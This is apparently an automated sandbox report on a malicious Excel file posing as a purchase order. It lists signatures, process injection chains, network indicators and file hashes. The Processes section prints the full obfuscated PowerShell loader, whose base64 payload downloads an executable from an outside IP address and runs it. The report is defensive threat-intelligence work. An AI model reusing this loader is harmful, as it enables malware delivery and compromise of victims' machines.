Malware Analysis Report

2024-12-07 16:51

Sample ID 241113-h6nfsaxdrb
Target New Order PI-#19-09897981.xls
SHA256 42b26807f1ba9bcb0be08ea66d955fd3bfd3e94336541b81d54ecfe8f28f2877
Tags
defense_evasion discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

42b26807f1ba9bcb0be08ea66d955fd3bfd3e94336541b81d54ecfe8f28f2877

Threat Level: Known bad

The file New Order PI-#19-09897981.xls was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution

Process spawned unexpected child process

Blocklisted process makes network request

Downloads MZ/PE file

Evasion via Device Credential Deployment

Executes dropped EXE

Loads dropped DLL

Suspicious use of SetThreadContext

AutoIT Executable

Drops file in System32 directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious behavior: EnumeratesProcesses

Uses Volume Shadow Copy WMI provider

Uses Volume Shadow Copy service COM API

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 07:21

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 07:21

Reported

2024-11-13 07:23

Platform

win7-20240903-en

Max time kernel

139s

Max time network

140s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\New Order PI-#19-09897981.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\psr.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\wlanexts.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe N/A
N/A N/A C:\Windows\SysWOW64\psr.exe N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1924 set thread context of 2188 N/A C:\Users\Admin\AppData\Roaming\wlanexts.exe C:\Windows\SysWOW64\svchost.exe
PID 2188 set thread context of 2488 N/A C:\Windows\SysWOW64\svchost.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
PID 2188 set thread context of 2520 N/A C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\psr.exe
PID 2520 set thread context of 2488 N/A C:\Windows\SysWOW64\psr.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\wlanexts.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\psr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A
Key created \Registry\User\S-1-5-21-1488793075-819845221-1497111674-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 C:\Windows\SysWOW64\psr.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2888 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe
PID 2888 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe
PID 2888 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe
PID 2888 wrote to memory of 2988 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe
PID 2988 wrote to memory of 1380 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 1380 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 1380 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 1380 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2988 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2988 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2988 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1164 wrote to memory of 1620 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1164 wrote to memory of 1620 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1164 wrote to memory of 1620 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1164 wrote to memory of 1620 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2988 wrote to memory of 1924 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Users\Admin\AppData\Roaming\wlanexts.exe
PID 2988 wrote to memory of 1924 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Users\Admin\AppData\Roaming\wlanexts.exe
PID 2988 wrote to memory of 1924 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Users\Admin\AppData\Roaming\wlanexts.exe
PID 2988 wrote to memory of 1924 N/A C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe C:\Users\Admin\AppData\Roaming\wlanexts.exe
PID 1924 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Roaming\wlanexts.exe C:\Windows\SysWOW64\svchost.exe
PID 1924 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Roaming\wlanexts.exe C:\Windows\SysWOW64\svchost.exe
PID 1924 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Roaming\wlanexts.exe C:\Windows\SysWOW64\svchost.exe
PID 1924 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Roaming\wlanexts.exe C:\Windows\SysWOW64\svchost.exe
PID 1924 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Roaming\wlanexts.exe C:\Windows\SysWOW64\svchost.exe
PID 2488 wrote to memory of 2520 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\psr.exe
PID 2488 wrote to memory of 2520 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\psr.exe
PID 2488 wrote to memory of 2520 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\psr.exe
PID 2488 wrote to memory of 2520 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\psr.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\New Order PI-#19-09897981.xls"

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe

"C:\Windows\SySteM32\wIndOWSpoWERSHEll\v1.0\PowERsHELl.exe" "poWerShElL -Ex bypAsS -nop -W 1 -C DEvIcECReDeNtiALdEplOyMeNT ; iEX($(iex('[sYstEm.TExT.eNcoDIng]'+[cHAr]0X3A+[char]58+'Utf8.GetsTRiNg([SyStem.COnvERT]'+[chAr]58+[chAr]0x3A+'FrOmbASe64StRING('+[Char]0x22+'JG1YTFJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC10WXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJlcmRFZmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExuVHlPLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdFdGVFcGEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ3F3R3NzbEpqaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RjTWFhSG4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXBaRkR6T3cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3aVVSUlFFaGFwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUXVNeG1BREkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1YTFJUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjIwLjI3LzM0Ni93bGFuZXh0LmV4ZSIsIiRlblY6QVBQREFUQVx3bGFuZXh0cy5leGUiLDAsMCk7c1RhUnQtU2xFZXAoMyk7c3RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHRzLmV4ZSI='+[cHAr]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bypAsS -nop -W 1 -C DEvIcECReDeNtiALdEplOyMeNT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n_051k-v.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF4DB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF4DA.tmp"

C:\Users\Admin\AppData\Roaming\wlanexts.exe

"C:\Users\Admin\AppData\Roaming\wlanexts.exe"

C:\Windows\SysWOW64\svchost.exe

"C:\Users\Admin\AppData\Roaming\wlanexts.exe"

C:\Windows\SysWOW64\psr.exe

"C:\Windows\SysWOW64\psr.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 4t.gg udp
KR 221.146.204.133:443 4t.gg tcp
US 8.8.8.8:53 r10.o.lencr.org udp
GB 2.23.210.75:80 r10.o.lencr.org tcp
US 192.3.220.27:80 192.3.220.27 tcp
KR 221.146.204.133:443 4t.gg tcp
US 192.3.220.27:80 192.3.220.27 tcp
US 192.3.220.27:80 192.3.220.27 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.117.22:80 crl.microsoft.com tcp
US 8.8.8.8:53 www.bloodbalancecaps.shop udp
US 108.179.253.197:80 www.bloodbalancecaps.shop tcp
US 8.8.8.8:53 www.sqlite.org udp
US 45.33.6.223:80 www.sqlite.org tcp

Files

memory/2488-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2488-1-0x000000007371D000-0x0000000073728000-memory.dmp

memory/2488-17-0x0000000002480000-0x0000000002482000-memory.dmp

memory/2888-16-0x0000000002490000-0x0000000002492000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CB467543952BE6B5200B9CADEB942CD1

MD5 fca2d4075e78fd8330d5590ee560451b
SHA1 b7ab976b0f45facd4a29a6aded52515523cd756b
SHA256 9f9f330b74a23eac5552db138565085b9a57c32dc746c3ad230659ad37ddc689
SHA512 f0adf4b6d64229f3c8dee585a80a7e8e1614251318be226bbf5af21779bf7ffac0d9f9858525e5388f00b9547984dae737d022d0cce4ba4c66936383bf55f991

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CB467543952BE6B5200B9CADEB942CD1

MD5 062a0474bd2d2221aaa1b80134cb8f85
SHA1 083ef3343f3194aa78e2844012f3365171030df8
SHA256 3a7efbd29a136763ca50d2d9d25e62dc4d330fc21dc8282c7b28a19e62e50d66
SHA512 080bd1db7d2ae1bd870dcf973f6f7f5dd7c23d5b53d99f3b6615c63531f0a383d7886d304571d77e481aa923b33b03cf96787f4e140ee1d9d571a370cc15d4a7

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 1e778a9633199c6c0e06293a898d908a
SHA1 a38e98af398b80295f8258a888babf8326c489f6
SHA256 c1c5e3fefb9a1d45b3146ae2cd288f35c4d16042020ec4d6cf31427a50de3bce
SHA512 0aca8e9f3aac4694c3a62209061626c2adfd344ef84b1f9d0877ca2db8d035a2fa93560f1f28ec7420ba68a72a10b47d5a180ba7130e0c6f87399ddd97e5e33c

C:\Users\Admin\AppData\Local\Temp\CabECEE.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\633SXO0D\seethebestthingswithentirelifegetmebackwithnewthigns[1].hta

MD5 82acdf5a47a3a77639ae87c76394cb1c
SHA1 299dd6df36a9c2537a19c208ec6f19bce96247a6
SHA256 fb27c7339686f823bec9f6deb9753c872f350082dc95056c2ec05701315aa338
SHA512 8397e89c78211753d64c4dbc1e7e7e65e6f774527b9340aaae88225ce3ad7af92d7c9ebb13e4b1d6fb92bf6e4619d9c8eedea165b3d740acb9bb3749e76cdd76

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 a066d4f7a24145543cd71d8e38a0de1f
SHA1 781554569b63acd78a0d4322f035b6eb2ef2ec40
SHA256 811f2a854ebf31d5c40a3b7ce978f375b5a665d7c74f93699cadc659626d8c64
SHA512 81057b7054f05e277172126ede75b1255a404cbe6dcfe9cb44f4bd8f2090bad5a6b8cd6d52896ac63c3552667e3643337163b06330ee725b9d03522a47ab1316

\??\c:\Users\Admin\AppData\Local\Temp\n_051k-v.cmdline

MD5 605e3af5e6b49f15156e5eb178091448
SHA1 365ebe732bf605aa7f66c299b8c783fcd185df95
SHA256 0bb9fdee26e865a793b0686b9f6dcf983da645a0b39f5984d32890dab095a4c3
SHA512 c06dcd7802321f7ca4985c5a2308eb65f6e1434cbcb1345d7e58362d18aa6f9462da2e099698514a737b78c483043abdad54cc3d132d06e85537a7078e1377f7

\??\c:\Users\Admin\AppData\Local\Temp\n_051k-v.0.cs

MD5 647a85673b34cb67e81530384ab62707
SHA1 04d299c53b41acec50bbdda71b8eb29e599899e3
SHA256 a699f79221ed4fe22ded677f223bab1b5b013aa38243c387d533f2738f8b9254
SHA512 d7b0a104360e46616fc657c664c71d3ee52c19d20b34255611d11963feb35f3e5bd1ea3dd319c88157f07e2ff00b2ab6a869893e2a09c2fc53f1d83a747aae18

\??\c:\Users\Admin\AppData\Local\Temp\CSCF4DA.tmp

MD5 b0c1899b7571c8929a9491f2d8e1d54d
SHA1 1200414984d57d98f1ff961984963b40e909995c
SHA256 bf1aec49240a32e97a424f39aff5e1f651465cbc74f4a9c429d74a85761afb2e
SHA512 5fd0a481267fd75268a6507ad948e48b614659de671c89d4111cefba706f8263f74ca554edec24f695025e7de3fc798fbc3cb46b309d74f0ecdf77471ae64a0b

C:\Users\Admin\AppData\Local\Temp\RESF4DB.tmp

MD5 d0acb93aae40d38c5425721d2fe2e8dd
SHA1 c3d672dcfb3c7de47a4a46151ffad8bff5a0f8a3
SHA256 cb4a5b77d60a698e4c2cc68e1aa19fcf7347932df86099c408b8e86ce3ef8b13
SHA512 477bf48b74b7d50c4fb7b5c81a335ab3d8fc90b7646d412967509ad3a4223b614f6fa8c33bb3bfa1de74d6927c99bf09f191dee7b0a880653412d46c730a1f9f

C:\Users\Admin\AppData\Local\Temp\n_051k-v.dll

MD5 5e9a04546878708dd868505868f4774b
SHA1 a90e72909d5e211a842bc2a238767bdd7136a14f
SHA256 5ab236c091a7b70d5808374f1f3757953fd251750acc3466c681b5d68401d87c
SHA512 ceaa2938b2f0a4a3ae12caf89fa3d03934e88ab4dd620d6f2b261c82954bc3cadb84a798c4cfd2934a07ae951c66de0f706bddf6f962e3feab256efea4270c00

C:\Users\Admin\AppData\Local\Temp\n_051k-v.pdb

MD5 8c66ea3544f810ce3ce8c2eeda087efd
SHA1 3dad62fb7c343b2c3bc71be7218637b4dcb2ddfc
SHA256 77e4bb1a3ff96df4be3220ee4ceae7d20daf83a389450e6e5cbf189d33dd96b4
SHA512 0896412c0d1e4297358c07995023f0ef190a45e09d59316b8fd5357572e3debd0a9c484d931ff4479ddd68ecc1902359e7826d23336bb93b8b6a448760dd99c6

memory/2488-60-0x000000007371D000-0x0000000073728000-memory.dmp

C:\Users\Admin\AppData\Roaming\wlanexts.exe

MD5 c10324ca73e54141e25e66e378276a70
SHA1 1c2a5680a184cc1e7d80fe315e527d824a86507f
SHA256 5db22ed3291e0d04855ec17eefb1ce353172bdf9214e1a75d5690cf8b044a53b
SHA512 f9e09eab6161faaed55be73756a7ec032355bb30dac18a547c2c7402c6a8312ddb88e262f4d51272148d6ada7c0bd679801ea14ab89ff81cfe3937d487751568

C:\Users\Admin\AppData\Local\Temp\adstipulator

MD5 199ac2ffc4e580fa00b59330fa83ddc4
SHA1 b1419cee0d565ab30d7b502c302852f4be3aee32
SHA256 102d180a28a3956e3d6b7dbf90eac5ce121c129d959b48b8bf2d782477099dde
SHA512 26745aeaba7cae4fcbe46d34c3bb836dab7f3c89a44bd01d005367429a041774b2fe8ea6e64089e86e03085c43d57213fca668d2965982b1bce92a8fb8bb1b00

memory/2188-79-0x0000000000400000-0x0000000000447000-memory.dmp

memory/2520-80-0x0000000000080000-0x00000000000C3000-memory.dmp

memory/2520-81-0x0000000000080000-0x00000000000C3000-memory.dmp

memory/2488-82-0x0000000007700000-0x00000000077F8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\mretmb.zip

MD5 0d1613320b79de7e8c7627c07d19f4a7
SHA1 f85b78ed8568a648b9134beb654e384c622c73bd
SHA256 e6fc736d8850729ee5d9d65076e0f4a869530b2c5df7239bda47051fa3c04be7
SHA512 13c00d2a48a42c3da05c6f475ab9b0581c951dd62ca0b435c44dbcefdfc02f14597b2b33aa28d3c4c8526adb198b24f1a83d92b12612209ca4aed06b80c7cbfa

\Users\Admin\AppData\Local\Temp\sqlite3.dll

MD5 05ace2f6d9bef6fd9bbd05ee5262a1f2
SHA1 5cce2228e0d9c6cc913cf551e0bf7c76ed74ff59
SHA256 002459f4d4758011b4d7f36935f1fe323494b847f8c173a551076a3d30475ebc
SHA512 1e717a66a72eb626727144fa7458f472ada54fd1be37072c9e740945e34ba94025737aef44e54752c50c5b79a583c6a91a0d8043bf1bf7c3e7cab8537207f9fc

memory/2520-119-0x0000000000080000-0x00000000000C3000-memory.dmp

memory/2520-120-0x0000000061E00000-0x0000000061EBD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 07:21

Reported

2024-11-13 07:23

Platform

win10v2004-20241007-en

Max time kernel

144s

Max time network

141s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\New Order PI-#19-09897981.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2456 wrote to memory of 3508 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 2456 wrote to memory of 3508 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\New Order PI-#19-09897981.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 4t.gg udp
KR 221.146.204.133:443 4t.gg tcp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 133.204.146.221.in-addr.arpa udp
US 8.8.8.8:53 r10.o.lencr.org udp
GB 2.23.210.82:80 r10.o.lencr.org tcp
US 8.8.8.8:53 32.169.19.2.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 82.210.23.2.in-addr.arpa udp
US 192.3.220.27:80 192.3.220.27 tcp
US 8.8.8.8:53 27.220.3.192.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 9.179.89.13.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

memory/2456-0-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

memory/2456-1-0x00007FFE733CD000-0x00007FFE733CE000-memory.dmp

memory/2456-3-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

memory/2456-4-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

memory/2456-2-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

memory/2456-6-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/2456-7-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

memory/2456-5-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/2456-8-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/2456-10-0x00007FFE30A50000-0x00007FFE30A60000-memory.dmp

memory/2456-9-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

memory/2456-11-0x00007FFE30A50000-0x00007FFE30A60000-memory.dmp

